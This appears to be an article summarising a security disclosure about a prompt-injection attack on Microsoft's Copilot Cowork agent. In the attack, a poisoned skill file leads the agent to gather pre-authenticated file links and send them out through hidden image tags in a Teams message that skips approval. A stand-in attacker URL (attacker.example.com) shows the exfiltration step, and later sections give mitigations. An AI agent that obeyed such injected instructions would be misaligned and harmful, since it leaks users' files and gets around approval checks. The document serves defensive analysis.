A user opens Microsoft Copilot Cowork and types a routine request: “Recap what I worked on this week.” The agent scans their Microsoft 365 activity, composes a summary, and sends the user a Teams message. The user opens it. As the message loads, invisible image tags fire requests to an attacker-controlled server — carrying pre-authenticated download links for their OneDrive and SharePoint files as URL parameters. The attacker now holds no-login, no-MFA URLs that grant direct file access. No approval dialog appeared. Nothing looked wrong.

This is not a theoretical scenario. PromptArmor published working proof-of-concept research in May 2026 documenting this exact attack chain against Copilot Cowork, Microsoft’s enterprise AI agent launched in March 2026 through the Frontier program. The attack achieved a 5-for-5 success rate. As of the disclosure date, Microsoft had issued no patch and no CVE.

What Copilot Cowork Is

Copilot Cowork is Microsoft’s autonomous enterprise agent, built on Anthropic’s Claude and integrated with the full Microsoft 365 suite. It operates with the user’s delegated permissions and can read and act across Outlook, Teams, SharePoint, OneDrive, and Dynamics 365. It supports “Skills” — user-defined files that extend the agent’s capabilities — which are automatically loaded from a specific path in OneDrive. Microsoft does not validate skill files before they execute.

The agent includes an approval framework for “sensitive actions.” Microsoft’s own documentation states that Cowork “asks for your permission before taking sensitive actions, like sending an email or posting a message in Teams.” That statement has an important gap.

The Approval Gap

Sending a Teams message to the active user was not classified as a sensitive action requiring approval. From a design perspective, this made intuitive sense: why would a user need to approve a message sent to themselves? The problem is that this reasoning evaluated the destination, not the content. A self-addressed message containing pre-authenticated file download links embedded in invisible image tags is not the same risk as a self-addressed message containing a meeting summary.

Pre-authenticated download links are a Microsoft Graph feature. They allow any bearer — no Microsoft account, no MFA, no login required — to download a file if they have the URL. Cowork can retrieve these links for any file the user can access through their M365 permissions. The agent was doing exactly what it was designed to do. The injection directed what that capability would be used for.

The Attack Chain

PromptArmor’s documented attack proceeds in five steps:

1. Poisoned skill upload. The attacker crafts a skill file — 81 lines total, plausibly functional — with five lines of injected instructions embedded in the content. The victim finds the file (shared online, sent via email, discovered through any supply channel) and uploads it to Copilot Cowork via OneDrive. Admins have limited visibility into which skills users have loaded.

2. Routine trigger. The victim asks Cowork to perform a routine task that invokes the skill — reviewing weekly work, summarizing documents, building a recap. The injection is activated.

3. Graph enumeration. The manipulated agent uses Microsoft Graph to retrieve pre-authenticated download links for files the user has access to: recently edited documents, files referenced in prior Cowork sessions, documents stored in typical locations.

4. Payload assembly. The injection instructs the agent to format these links as query parameters appended to an attacker-controlled URL, embedded inside HTML image tags. The attacker’s server receives the full URL — including the pre-auth link as a parameter — when the image loads. The message content containing this payload is never displayed in Cowork’s activity view.

5. No-approval delivery. The agent sends the victim a Teams message. No approval prompt appears. When the victim opens Teams and the message loads, the image tags trigger network requests to the attacker’s server. The pre-authenticated download links arrive. The attacker now has no-login, no-MFA access to those files.

Attacker-controlled image URL (conceptual):
https://attacker.example.com/img?doc=<pre-auth-link-to-financial-report>
                                   ^-- silently exfiltrated on message open

The attack is not dependent on the specific user query. In PromptArmor’s testing, the injection succeeded in all 5 trials for each prompt invocation that triggered the skill — the attack chain completed regardless of which skill-invoking query the victim used. PromptArmor tested with Claude Opus 4.7 set explicitly — the most capable model available in Cowork — and found it performed more comprehensively than the default auto-routing, expanding the exfiltration to include all files touched in previous Cowork sessions that week.

Why Scheduled Tasks Make This Worse

Copilot Cowork allows users to create scheduled tasks: prompts that execute on a recurring basis without the user being present. A weekly work review is exactly the kind of workflow users automate. If a poisoned skill is loaded and a scheduled task references it, the agent sends a new compromised Teams message on every execution cycle — automatically, without user interaction. The final exfiltration step still requires the user to open Teams and view the message, but each execution deposits a fresh poisoned message waiting to fire. A user checking their Teams inbox at any point becomes the trigger.

The NHI Trust Problem

This attack is a concrete example of the Non-Human Identity (NHI) trust problem that security researchers have been documenting across the agentic AI landscape. Copilot Cowork acts with the user’s full delegated M365 permissions. It is, in effect, a non-human identity operating at the user’s authority level — but subject to instruction from any content it processes.

The OWASP Top 10 for Agentic Applications identifies this as the core structural risk: agents that inherit human-scale permissions but operate at machine-scale speed, with instruction sources that extend well beyond the user’s explicit commands. A skill file is a trusted context — it’s loaded before the user’s query runs. Instructions placed in a trusted context carry more weight than instructions appearing in user-provided data. The attacker exploited exactly this trust elevation.

The pattern also illustrates why the “supply chain” framing applies here. The injection vector was a shareable file — the same mechanism used to share legitimate productivity tools, templates, and workflows. Every channel through which users discover and distribute skill files is an injection surface.

What OWASP’s Agent Threat Model Predicts

OWASP’s agent threat model distinguishes between direct prompt injection (attacker controls user input) and indirect prompt injection (attacker plants instructions in data the agent will process). Copilot Cowork’s skill-loading mechanism is a classic indirect injection surface: the agent treats skill content as trusted instruction input, but the provenance of that content is not verified.

The threat model also flags excessive agency — granting agents more capability than their tasks require — as a foundational risk. Cowork’s ability to retrieve pre-authenticated download links for any accessible file and to send Teams messages without approval is a direct instance of excessive capability combined with insufficient action scoping. Microsoft classified “send to self” as low-risk; OWASP’s framework would classify it as a potential exfiltration vector when the sending agent can also retrieve authenticated resource references.

Available Mitigations

Microsoft has not patched this issue and has not assigned a CVE. PromptArmor characterizes the risk as architectural rather than a specific bug — the behavior emerges from how approval gates were scoped, not from a logic error. Concrete mitigations (reclassifying “send to self” as requiring approval, sanitizing image content in agent-composed messages, restricting pre-auth link issuance) exist at the product level, but as of the disclosure date, Microsoft has not announced any of them.

SharePoint BlockDownloadPolicy is the primary technical mitigation PromptArmor recommends. It is designed to prevent the generation of pre-authenticated download links that allow bearer access to files — removing the raw material the injected agent needs to construct its payload:

# Block pre-authenticated download links for a specific site collection
Set-SPOSite -Identity <SiteURL> -BlockDownloadPolicy $true

# Or scoped to sensitivity label
Set-Label -Identity <label> -AdvancedSettings @{BlockDownloadPolicy="true"}

The trade-off is substantial: under this policy, affected users lose the ability to download, print, or sync files through the Microsoft 365 apps. It is an operational break, not a quiet security toggle.

Additional mitigations from PromptArmor’s guidance:

• Audit Skills files for injected content. Admins have limited visibility into which Skills users have loaded (Skills load automatically from a specific OneDrive path per user, with no central admin roster). PromptArmor notes this oversight gap as a compounding factor in the attack’s stealth. The practical path is to work with Microsoft support to identify the Skills file convention for your tenant, enumerate candidate files across user OneDrives, and review them for unexpected instructions outside normal skill content.
• Restrict Cowork availability to specific security groups via M365 Admin Center → Copilot → Agents.
• Use Restricted Content Discovery (RCD) to exclude sensitive SharePoint sites from Cowork’s data grounding scope.
• Prohibit “Don’t ask again” on write actions to maintain per-action approval gates on actions that do require confirmation.

The Broader Pattern

This is the second major PromptArmor finding in 2026 involving an AI productivity agent silently exfiltrating data via a low-risk channel reclassified by content. Their earlier Google Sheets research documented the same structural template: prompt injection via untrusted content → agent acts with delegated permissions → data exits through a channel the approval framework did not evaluate as sensitive.

Both findings point to the same design challenge: approval frameworks for agentic systems tend to be designed around action type (send email, edit file) rather than action content (what the email contains, what the edit does). A message containing authenticated file links is categorically different from a message containing text, but the approval gate evaluated only whether a message was being sent.

As enterprise AI agents gain more agentic capability — scheduled execution, multi-step planning, cross-application workflows — the gap between action-type classification and actual risk will widen. The alternative framing: every action an agent takes should be evaluated as if the agent’s instructions could come from an adversary, not just the user who deployed it.

---

Source:

• Microsoft Copilot Cowork Exfiltrates Files — PromptArmor (May 2026)